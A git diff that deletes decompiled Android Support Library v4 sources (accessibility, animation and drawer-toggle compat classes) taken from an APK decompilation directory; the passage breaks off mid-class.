11873a5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/BuildConfig.java +++ /dev/null @@ -1,10 +0,0 @@ -package android.support.v4; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BuildConfig { - public static final String APPLICATION_ID = "android.support.v4"; - public static final String BUILD_TYPE = "release"; - public static final boolean DEBUG = false; - public static final String FLAVOR = ""; - public static final int VERSION_CODE = -1; - public static final String VERSION_NAME = ""; -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/R.java b/apk_3230/decompiled_source/sources/android/support/v4/R.java deleted file mode 100644 index d14d130..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/R.java +++ /dev/null @@ -1,6 +0,0 @@ -package android.support.v4; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class R { - private R() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat.java deleted file mode 100644 index 2ceb49d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat.java +++ /dev/null @@ -1,231 +0,0 @@ -package android.support.v4.accessibilityservice; - -import android.accessibilityservice.AccessibilityServiceInfo; -import android.content.pm.PackageManager; -import android.content.pm.ResolveInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class AccessibilityServiceInfoCompat { - public static final int CAPABILITY_CAN_FILTER_KEY_EVENTS = 8; - public static final int CAPABILITY_CAN_REQUEST_ENHANCED_WEB_ACCESSIBILITY = 4; - public static final int CAPABILITY_CAN_REQUEST_TOUCH_EXPLORATION = 2; - public static final int CAPABILITY_CAN_RETRIEVE_WINDOW_CONTENT = 1; - public static final int DEFAULT = 1; - public static final int FEEDBACK_ALL_MASK = -1; - public static final int FEEDBACK_BRAILLE = 32; - public static final int FLAG_INCLUDE_NOT_IMPORTANT_VIEWS = 2; - public static final int FLAG_REPORT_VIEW_IDS = 16; - public static final int FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY = 8; - public static final int FLAG_REQUEST_FILTER_KEY_EVENTS = 32; - public static final int FLAG_REQUEST_TOUCH_EXPLORATION_MODE = 4; - private static final AccessibilityServiceInfoVersionImpl IMPL = new AccessibilityServiceInfoJellyBeanMr2Impl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface AccessibilityServiceInfoVersionImpl { - boolean getCanRetrieveWindowContent(AccessibilityServiceInfo accessibilityServiceInfo); - - int getCapabilities(AccessibilityServiceInfo accessibilityServiceInfo); - - String getDescription(AccessibilityServiceInfo accessibilityServiceInfo); - - String getId(AccessibilityServiceInfo accessibilityServiceInfo); - - ResolveInfo getResolveInfo(AccessibilityServiceInfo accessibilityServiceInfo); - - String getSettingsActivityName(AccessibilityServiceInfo accessibilityServiceInfo); - - String loadDescription(AccessibilityServiceInfo accessibilityServiceInfo, PackageManager packageManager); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityServiceInfoStubImpl implements AccessibilityServiceInfoVersionImpl { - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public boolean getCanRetrieveWindowContent(AccessibilityServiceInfo accessibilityServiceInfo) { - return false; - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public int getCapabilities(AccessibilityServiceInfo accessibilityServiceInfo) { - return 0; - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public String getDescription(AccessibilityServiceInfo accessibilityServiceInfo) { - return null; - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public String getId(AccessibilityServiceInfo accessibilityServiceInfo) { - return null; - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public ResolveInfo getResolveInfo(AccessibilityServiceInfo accessibilityServiceInfo) { - return null; - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public String getSettingsActivityName(AccessibilityServiceInfo accessibilityServiceInfo) { - return null; - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public String loadDescription(AccessibilityServiceInfo accessibilityServiceInfo, PackageManager packageManager) { - return null; - } - - AccessibilityServiceInfoStubImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityServiceInfoIcsImpl extends AccessibilityServiceInfoStubImpl { - AccessibilityServiceInfoIcsImpl() { - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoStubImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public boolean getCanRetrieveWindowContent(AccessibilityServiceInfo accessibilityServiceInfo) { - return AccessibilityServiceInfoCompatIcs.getCanRetrieveWindowContent(accessibilityServiceInfo); - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoStubImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public String getDescription(AccessibilityServiceInfo accessibilityServiceInfo) { - return AccessibilityServiceInfoCompatIcs.getDescription(accessibilityServiceInfo); - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoStubImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public String getId(AccessibilityServiceInfo accessibilityServiceInfo) { - return AccessibilityServiceInfoCompatIcs.getId(accessibilityServiceInfo); - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoStubImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public ResolveInfo getResolveInfo(AccessibilityServiceInfo accessibilityServiceInfo) { - return AccessibilityServiceInfoCompatIcs.getResolveInfo(accessibilityServiceInfo); - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoStubImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public String getSettingsActivityName(AccessibilityServiceInfo accessibilityServiceInfo) { - return AccessibilityServiceInfoCompatIcs.getSettingsActivityName(accessibilityServiceInfo); - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoStubImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public int getCapabilities(AccessibilityServiceInfo accessibilityServiceInfo) { - return getCanRetrieveWindowContent(accessibilityServiceInfo) ? 1 : 0; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityServiceInfoJellyBeanImpl extends AccessibilityServiceInfoIcsImpl { - AccessibilityServiceInfoJellyBeanImpl() { - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoStubImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public String loadDescription(AccessibilityServiceInfo accessibilityServiceInfo, PackageManager packageManager) { - return AccessibilityServiceInfoCompatJellyBean.loadDescription(accessibilityServiceInfo, packageManager); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityServiceInfoJellyBeanMr2Impl extends AccessibilityServiceInfoJellyBeanImpl { - AccessibilityServiceInfoJellyBeanMr2Impl() { - } - - @Override // android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoIcsImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoStubImpl, android.support.v4.accessibilityservice.AccessibilityServiceInfoCompat.AccessibilityServiceInfoVersionImpl - public int getCapabilities(AccessibilityServiceInfo accessibilityServiceInfo) { - return AccessibilityServiceInfoCompatJellyBeanMr2.getCapabilities(accessibilityServiceInfo); - } - } - - private AccessibilityServiceInfoCompat() { - } - - public static String getId(AccessibilityServiceInfo accessibilityServiceInfo) { - return IMPL.getId(accessibilityServiceInfo); - } - - public static ResolveInfo getResolveInfo(AccessibilityServiceInfo accessibilityServiceInfo) { - return IMPL.getResolveInfo(accessibilityServiceInfo); - } - - public static String getSettingsActivityName(AccessibilityServiceInfo accessibilityServiceInfo) { - return IMPL.getSettingsActivityName(accessibilityServiceInfo); - } - - public static boolean getCanRetrieveWindowContent(AccessibilityServiceInfo accessibilityServiceInfo) { - return IMPL.getCanRetrieveWindowContent(accessibilityServiceInfo); - } - - public static String getDescription(AccessibilityServiceInfo accessibilityServiceInfo) { - return IMPL.getDescription(accessibilityServiceInfo); - } - - public static String loadDescription(AccessibilityServiceInfo accessibilityServiceInfo, PackageManager packageManager) { - return IMPL.loadDescription(accessibilityServiceInfo, packageManager); - } - - public static String feedbackTypeToString(int i) { - StringBuilder sb = new StringBuilder(); - sb.append("["); - while (i > 0) { - int numberOfTrailingZeros = 1 << Integer.numberOfTrailingZeros(i); - i &= ~numberOfTrailingZeros; - if (sb.length() > 1) { - sb.append(", "); - } - if (numberOfTrailingZeros == 1) { - sb.append("FEEDBACK_SPOKEN"); - } else if (numberOfTrailingZeros == 2) { - sb.append("FEEDBACK_HAPTIC"); - } else if (numberOfTrailingZeros == 4) { - sb.append("FEEDBACK_AUDIBLE"); - } else if (numberOfTrailingZeros == 8) { - sb.append("FEEDBACK_VISUAL"); - } else if (numberOfTrailingZeros == 16) { - sb.append("FEEDBACK_GENERIC"); - } - } - sb.append("]"); - return sb.toString(); - } - - public static String flagToString(int i) { - if (i != 1) { - if (i != 2) { - if (i != 4) { - if (i != 8) { - if (i != 16) { - if (i != 32) { - return null; - } - return "FLAG_REQUEST_FILTER_KEY_EVENTS"; - } - return "FLAG_REPORT_VIEW_IDS"; - } - return "FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY"; - } - return "FLAG_REQUEST_TOUCH_EXPLORATION_MODE"; - } - return "FLAG_INCLUDE_NOT_IMPORTANT_VIEWS"; - } - return "DEFAULT"; - } - - public static int getCapabilities(AccessibilityServiceInfo accessibilityServiceInfo) { - return IMPL.getCapabilities(accessibilityServiceInfo); - } - - public static String capabilityToString(int i) { - if (i != 1) { - if (i != 2) { - if (i != 4) { - if (i == 8) { - return "CAPABILITY_CAN_FILTER_KEY_EVENTS"; - } - return "UNKNOWN"; - } - return "CAPABILITY_CAN_REQUEST_ENHANCED_WEB_ACCESSIBILITY"; - } - return "CAPABILITY_CAN_REQUEST_TOUCH_EXPLORATION"; - } - return "CAPABILITY_CAN_RETRIEVE_WINDOW_CONTENT"; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatIcs.java deleted file mode 100644 index 1a3231d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatIcs.java +++ /dev/null @@ -1,29 +0,0 @@ -package android.support.v4.accessibilityservice; - -import android.accessibilityservice.AccessibilityServiceInfo; -import android.content.pm.ResolveInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityServiceInfoCompatIcs { - AccessibilityServiceInfoCompatIcs() { - } - - public static boolean getCanRetrieveWindowContent(AccessibilityServiceInfo accessibilityServiceInfo) { - return accessibilityServiceInfo.getCanRetrieveWindowContent(); - } - - public static String getDescription(AccessibilityServiceInfo accessibilityServiceInfo) { - return accessibilityServiceInfo.getDescription(); - } - - public static String getId(AccessibilityServiceInfo accessibilityServiceInfo) { - return accessibilityServiceInfo.getId(); - } - - public static ResolveInfo getResolveInfo(AccessibilityServiceInfo accessibilityServiceInfo) { - return accessibilityServiceInfo.getResolveInfo(); - } - - public static String getSettingsActivityName(AccessibilityServiceInfo accessibilityServiceInfo) { - return accessibilityServiceInfo.getSettingsActivityName(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatJellyBean.java b/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatJellyBean.java deleted file mode 100644 index 86aa9fc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatJellyBean.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.accessibilityservice; - -import android.accessibilityservice.AccessibilityServiceInfo; -import android.content.pm.PackageManager; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityServiceInfoCompatJellyBean { - AccessibilityServiceInfoCompatJellyBean() { - } - - public static String loadDescription(AccessibilityServiceInfo accessibilityServiceInfo, PackageManager packageManager) { - return accessibilityServiceInfo.loadDescription(packageManager); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatJellyBeanMr2.java b/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatJellyBeanMr2.java deleted file mode 100644 index 2585d06..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatJellyBeanMr2.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.accessibilityservice; - -import android.accessibilityservice.AccessibilityServiceInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityServiceInfoCompatJellyBeanMr2 { - AccessibilityServiceInfoCompatJellyBeanMr2() { - } - - public static int getCapabilities(AccessibilityServiceInfo accessibilityServiceInfo) { - return accessibilityServiceInfo.getCapabilities(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorCompatHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorCompatHelper.java deleted file mode 100644 index 537f379..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorCompatHelper.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.animation; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class AnimatorCompatHelper { - private static final AnimatorProvider IMPL = new HoneycombMr1AnimatorCompatProvider(); - - public static ValueAnimatorCompat emptyValueAnimator() { - return IMPL.emptyValueAnimator(); - } - - private AnimatorCompatHelper() { - } - - public static void clearInterpolator(View view) { - IMPL.clearInterpolator(view); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorListenerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorListenerCompat.java deleted file mode 100644 index b658fe8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorListenerCompat.java +++ /dev/null @@ -1,11 +0,0 @@ -package android.support.v4.animation; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface AnimatorListenerCompat { - void onAnimationCancel(ValueAnimatorCompat valueAnimatorCompat); - - void onAnimationEnd(ValueAnimatorCompat valueAnimatorCompat); - - void onAnimationRepeat(ValueAnimatorCompat valueAnimatorCompat); - - void onAnimationStart(ValueAnimatorCompat valueAnimatorCompat); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorProvider.java b/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorProvider.java deleted file mode 100644 index c4959a3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorProvider.java +++ /dev/null @@ -1,9 +0,0 @@ -package android.support.v4.animation; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -interface AnimatorProvider { - void clearInterpolator(View view); - - ValueAnimatorCompat emptyValueAnimator(); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorUpdateListenerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorUpdateListenerCompat.java deleted file mode 100644 index 11706ba..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/animation/AnimatorUpdateListenerCompat.java +++ /dev/null @@ -1,5 +0,0 @@ -package android.support.v4.animation; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface AnimatorUpdateListenerCompat { - void onAnimationUpdate(ValueAnimatorCompat valueAnimatorCompat); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/animation/GingerbreadAnimatorCompatProvider.java b/apk_3230/decompiled_source/sources/android/support/v4/animation/GingerbreadAnimatorCompatProvider.java deleted file mode 100644 index c1b0271..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/animation/GingerbreadAnimatorCompatProvider.java +++ /dev/null @@ -1,130 +0,0 @@ -package android.support.v4.animation; - -import android.view.View; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class GingerbreadAnimatorCompatProvider implements AnimatorProvider { - @Override // android.support.v4.animation.AnimatorProvider - public void clearInterpolator(View view) { - } - - GingerbreadAnimatorCompatProvider() { - } - - @Override // android.support.v4.animation.AnimatorProvider - public ValueAnimatorCompat emptyValueAnimator() { - return new GingerbreadFloatValueAnimator(); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class GingerbreadFloatValueAnimator implements ValueAnimatorCompat { - private long mStartTime; - View mTarget; - List mListeners = new ArrayList(); - List mUpdateListeners = new ArrayList(); - private long mDuration = 200; - private float mFraction = 0.0f; - private boolean mStarted = false; - private boolean mEnded = false; - private Runnable mLoopRunnable = new Runnable() { // from class: android.support.v4.animation.GingerbreadAnimatorCompatProvider.GingerbreadFloatValueAnimator.1 - @Override // java.lang.Runnable - public void run() { - float time = (((float) (GingerbreadFloatValueAnimator.this.getTime() - GingerbreadFloatValueAnimator.this.mStartTime)) * 1.0f) / ((float) GingerbreadFloatValueAnimator.this.mDuration); - if (time > 1.0f || GingerbreadFloatValueAnimator.this.mTarget.getParent() == null) { - time = 1.0f; - } - GingerbreadFloatValueAnimator.this.mFraction = time; - GingerbreadFloatValueAnimator.this.notifyUpdateListeners(); - if (GingerbreadFloatValueAnimator.this.mFraction >= 1.0f) { - GingerbreadFloatValueAnimator.this.dispatchEnd(); - } else { - GingerbreadFloatValueAnimator.this.mTarget.postDelayed(GingerbreadFloatValueAnimator.this.mLoopRunnable, 16L); - } - } - }; - - /* JADX INFO: Access modifiers changed from: private */ - public void notifyUpdateListeners() { - for (int size = this.mUpdateListeners.size() - 1; size >= 0; size--) { - this.mUpdateListeners.get(size).onAnimationUpdate(this); - } - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void setTarget(View view) { - this.mTarget = view; - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void addListener(AnimatorListenerCompat animatorListenerCompat) { - this.mListeners.add(animatorListenerCompat); - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void setDuration(long j) { - if (this.mStarted) { - return; - } - this.mDuration = j; - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void start() { - if (this.mStarted) { - return; - } - this.mStarted = true; - dispatchStart(); - this.mFraction = 0.0f; - this.mStartTime = getTime(); - this.mTarget.postDelayed(this.mLoopRunnable, 16L); - } - - /* JADX INFO: Access modifiers changed from: private */ - public long getTime() { - return this.mTarget.getDrawingTime(); - } - - private void dispatchStart() { - for (int size = this.mListeners.size() - 1; size >= 0; size--) { - this.mListeners.get(size).onAnimationStart(this); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public void dispatchEnd() { - for (int size = this.mListeners.size() - 1; size >= 0; size--) { - this.mListeners.get(size).onAnimationEnd(this); - } - } - - private void dispatchCancel() { - for (int size = this.mListeners.size() - 1; size >= 0; size--) { - this.mListeners.get(size).onAnimationCancel(this); - } - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void cancel() { - if (this.mEnded) { - return; - } - this.mEnded = true; - if (this.mStarted) { - dispatchCancel(); - } - dispatchEnd(); - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void addUpdateListener(AnimatorUpdateListenerCompat animatorUpdateListenerCompat) { - this.mUpdateListeners.add(animatorUpdateListenerCompat); - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public float getAnimatedFraction() { - return this.mFraction; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/animation/HoneycombMr1AnimatorCompatProvider.java b/apk_3230/decompiled_source/sources/android/support/v4/animation/HoneycombMr1AnimatorCompatProvider.java deleted file mode 100644 index 4782859..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/animation/HoneycombMr1AnimatorCompatProvider.java +++ /dev/null @@ -1,106 +0,0 @@ -package android.support.v4.animation; - -import android.animation.Animator; -import android.animation.TimeInterpolator; -import android.animation.ValueAnimator; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class HoneycombMr1AnimatorCompatProvider implements AnimatorProvider { - private TimeInterpolator mDefaultInterpolator; - - @Override // android.support.v4.animation.AnimatorProvider - public ValueAnimatorCompat emptyValueAnimator() { - return new HoneycombValueAnimatorCompat(ValueAnimator.ofFloat(0.0f, 1.0f)); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HoneycombValueAnimatorCompat implements ValueAnimatorCompat { - final Animator mWrapped; - - public HoneycombValueAnimatorCompat(Animator animator) { - this.mWrapped = animator; - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void setTarget(View view) { - this.mWrapped.setTarget(view); - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void addListener(AnimatorListenerCompat animatorListenerCompat) { - this.mWrapped.addListener(new AnimatorListenerCompatWrapper(animatorListenerCompat, this)); - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void setDuration(long j) { - this.mWrapped.setDuration(j); - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void start() { - this.mWrapped.start(); - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void cancel() { - this.mWrapped.cancel(); - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public void addUpdateListener(final AnimatorUpdateListenerCompat animatorUpdateListenerCompat) { - Animator animator = this.mWrapped; - if (animator instanceof ValueAnimator) { - ((ValueAnimator) animator).addUpdateListener(new ValueAnimator.AnimatorUpdateListener() { // from class: android.support.v4.animation.HoneycombMr1AnimatorCompatProvider.HoneycombValueAnimatorCompat.1 - @Override // android.animation.ValueAnimator.AnimatorUpdateListener - public void onAnimationUpdate(ValueAnimator valueAnimator) { - animatorUpdateListenerCompat.onAnimationUpdate(HoneycombValueAnimatorCompat.this); - } - }); - } - } - - @Override // android.support.v4.animation.ValueAnimatorCompat - public float getAnimatedFraction() { - return ((ValueAnimator) this.mWrapped).getAnimatedFraction(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AnimatorListenerCompatWrapper implements Animator.AnimatorListener { - final ValueAnimatorCompat mValueAnimatorCompat; - final AnimatorListenerCompat mWrapped; - - public AnimatorListenerCompatWrapper(AnimatorListenerCompat animatorListenerCompat, ValueAnimatorCompat valueAnimatorCompat) { - this.mWrapped = animatorListenerCompat; - this.mValueAnimatorCompat = valueAnimatorCompat; - } - - @Override // android.animation.Animator.AnimatorListener - public void onAnimationStart(Animator animator) { - this.mWrapped.onAnimationStart(this.mValueAnimatorCompat); - } - - @Override // android.animation.Animator.AnimatorListener - public void onAnimationEnd(Animator animator) { - this.mWrapped.onAnimationEnd(this.mValueAnimatorCompat); - } - - @Override // android.animation.Animator.AnimatorListener - public void onAnimationCancel(Animator animator) { - this.mWrapped.onAnimationCancel(this.mValueAnimatorCompat); - } - - @Override // android.animation.Animator.AnimatorListener - public void onAnimationRepeat(Animator animator) { - this.mWrapped.onAnimationRepeat(this.mValueAnimatorCompat); - } - } - - @Override // android.support.v4.animation.AnimatorProvider - public void clearInterpolator(View view) { - if (this.mDefaultInterpolator == null) { - this.mDefaultInterpolator = new ValueAnimator().getInterpolator(); - } - view.animate().setInterpolator(this.mDefaultInterpolator); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/animation/ValueAnimatorCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/animation/ValueAnimatorCompat.java deleted file mode 100644 index fa33862..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/animation/ValueAnimatorCompat.java +++ /dev/null @@ -1,19 +0,0 @@ -package android.support.v4.animation; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface ValueAnimatorCompat { - void addListener(AnimatorListenerCompat animatorListenerCompat); - - void addUpdateListener(AnimatorUpdateListenerCompat animatorUpdateListenerCompat); - - void cancel(); - - float getAnimatedFraction(); - - void setDuration(long j); - - void setTarget(View view); - - void start(); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggle.java b/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggle.java deleted file mode 100644 index 93003ff..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/ActionBarDrawerToggle.java +++ /dev/null @@ -1,315 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Context; -import android.content.res.Configuration; -import android.graphics.Canvas; -import android.graphics.Rect; -import android.graphics.drawable.Drawable; -import android.graphics.drawable.InsetDrawable; -import android.support.v4.content.ContextCompat; -import android.support.v4.view.GravityCompat; -import android.support.v4.view.ViewCompat; -import android.support.v4.widget.DrawerLayout; -import android.view.MenuItem; -import android.view.View; -@Deprecated -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ActionBarDrawerToggle implements DrawerLayout.DrawerListener { - private static final int ID_HOME = 16908332; - private static final ActionBarDrawerToggleImpl IMPL = new ActionBarDrawerToggleImplJellybeanMR2(); - private static final float TOGGLE_DRAWABLE_OFFSET = 0.33333334f; - final Activity mActivity; - private final Delegate mActivityImpl; - private final int mCloseDrawerContentDescRes; - private Drawable mDrawerImage; - private final int mDrawerImageResource; - private boolean mDrawerIndicatorEnabled; - private final DrawerLayout mDrawerLayout; - private boolean mHasCustomUpIndicator; - private Drawable mHomeAsUpIndicator; - private final int mOpenDrawerContentDescRes; - private Object mSetIndicatorInfo; - private SlideDrawable mSlider; - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ActionBarDrawerToggleImpl { - Drawable getThemeUpIndicator(Activity activity); - - Object setActionBarDescription(Object obj, Activity activity, int i); - - Object setActionBarUpIndicator(Object obj, Activity activity, Drawable drawable, int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Delegate { - Drawable getThemeUpIndicator(); - - void setActionBarDescription(int i); - - void setActionBarUpIndicator(Drawable drawable, int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface DelegateProvider { - Delegate getDrawerToggleDelegate(); - } - - @Override // android.support.v4.widget.DrawerLayout.DrawerListener - public void onDrawerStateChanged(int i) { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ActionBarDrawerToggleImplBase implements ActionBarDrawerToggleImpl { - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Drawable getThemeUpIndicator(Activity activity) { - return null; - } - - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Object setActionBarDescription(Object obj, Activity activity, int i) { - return obj; - } - - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Object setActionBarUpIndicator(Object obj, Activity activity, Drawable drawable, int i) { - return obj; - } - - ActionBarDrawerToggleImplBase() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ActionBarDrawerToggleImplHC implements ActionBarDrawerToggleImpl { - ActionBarDrawerToggleImplHC() { - } - - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Drawable getThemeUpIndicator(Activity activity) { - return ActionBarDrawerToggleHoneycomb.getThemeUpIndicator(activity); - } - - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Object setActionBarUpIndicator(Object obj, Activity activity, Drawable drawable, int i) { - return ActionBarDrawerToggleHoneycomb.setActionBarUpIndicator(obj, activity, drawable, i); - } - - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Object setActionBarDescription(Object obj, Activity activity, int i) { - return ActionBarDrawerToggleHoneycomb.setActionBarDescription(obj, activity, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ActionBarDrawerToggleImplJellybeanMR2 implements ActionBarDrawerToggleImpl { - ActionBarDrawerToggleImplJellybeanMR2() { - } - - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Drawable getThemeUpIndicator(Activity activity) { - return ActionBarDrawerToggleJellybeanMR2.getThemeUpIndicator(activity); - } - - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Object setActionBarUpIndicator(Object obj, Activity activity, Drawable drawable, int i) { - return ActionBarDrawerToggleJellybeanMR2.setActionBarUpIndicator(obj, activity, drawable, i); - } - - @Override // android.support.v4.app.ActionBarDrawerToggle.ActionBarDrawerToggleImpl - public Object setActionBarDescription(Object obj, Activity activity, int i) { - return ActionBarDrawerToggleJellybeanMR2.setActionBarDescription(obj, activity, i); - } - } - - public ActionBarDrawerToggle(Activity activity, DrawerLayout drawerLayout, int i, int i2, int i3) { - this(activity, drawerLayout, !assumeMaterial(activity), i, i2, i3); - } - - private static boolean assumeMaterial(Context context) { - return context.getApplicationInfo().targetSdkVersion >= 21; - } - - public 